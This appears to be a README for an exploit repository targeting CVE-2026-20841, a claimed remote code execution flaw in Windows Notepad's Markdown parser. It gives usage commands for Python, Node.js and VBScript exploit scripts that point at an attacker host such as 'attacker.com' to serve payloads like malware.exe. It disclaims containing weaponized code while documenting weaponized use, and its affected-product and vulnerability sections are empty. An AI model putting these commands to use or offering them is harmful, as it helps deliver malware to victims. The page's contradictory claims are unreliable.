CVE-2026-20841 - Windows Notepad Remote Code Execution (RCE)

Security Research & Technical Analysis Repository

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⚠️ This repository is intended for educational, defensive, and research purposes only.

📖 Overview

CVE-2026-20841 is a critical Remote Code Execution (RCE) vulnerability affecting Microsoft Windows Notepad's Markdown processing functionality.

An attacker may be able to trigger arbitrary code execution when a specially crafted file is opened by a vulnerable version of Windows Notepad.

Impact

• Remote Code Execution (RCE)
• Arbitrary Code Execution
• Potential User-Level Compromise
• Security Boundary Bypass
• Malware Delivery Vector

🎯 Affected Products

🔥 Vulnerability Information

📖 How To Use :

python CVE-2026-20841.py 192.168.1.100 80 malware.exe

Node.js Version

node CVE-2026-20841.js <host> <port> <payload-filename>

Example:

node CVE-2026-20841.js attacker.com 445 payload.bat

VBScript Version (Windows Native)

cscript //nologo CVE-2026-20841.vbs <host> <port> <payload-filename>

Example:

cscript //nologo CVE-2026-20841.vbs 192.168.1.45 80 update.exe

🛠 Technical Details

The vulnerability exists within the Markdown content handling functionality of Windows Notepad.

Opening a specially crafted file may trigger unsafe memory operations that could lead to arbitrary code execution under the context of the current user.

Potential Attack Flow

Attacker
    │
    ▼
Crafted Markdown File
    │
    ▼
Victim Opens File
    │
    ▼
Vulnerable Markdown Parser
    │
    ▼
Memory Corruption
    │
    ▼
Code Execution

🧪 Lab Environment

OS          : Windows 11
Application : Notepad
Architecture: x64
Debugger    : WinDbg
Analysis    : Static + Dynamic

🔍 Detection

Indicators of Compromise (IOCs)

• Suspicious Markdown files
• Unexpected child processes from Notepad
• Abnormal Notepad crashes
• Memory corruption events
• EDR alerts related to Notepad

🛡 Mitigation

• Apply Microsoft security updates.
• Restrict opening files from untrusted sources.
• Enable EDR/XDR monitoring.
• Use Application Control policies.
• Monitor process creation events involving Notepad.

📚 References

• Microsoft Security Advisories
• MITRE CVE Database
• Windows Security Documentation
• Security Research Publications

⚠ Disclaimer

This repository does not contain weaponized exploit code.

The information provided is intended solely for:

• Security Research
• Defensive Analysis
• Vulnerability Management
• Educational Purposes

Users are responsible for complying with all applicable laws and regulations.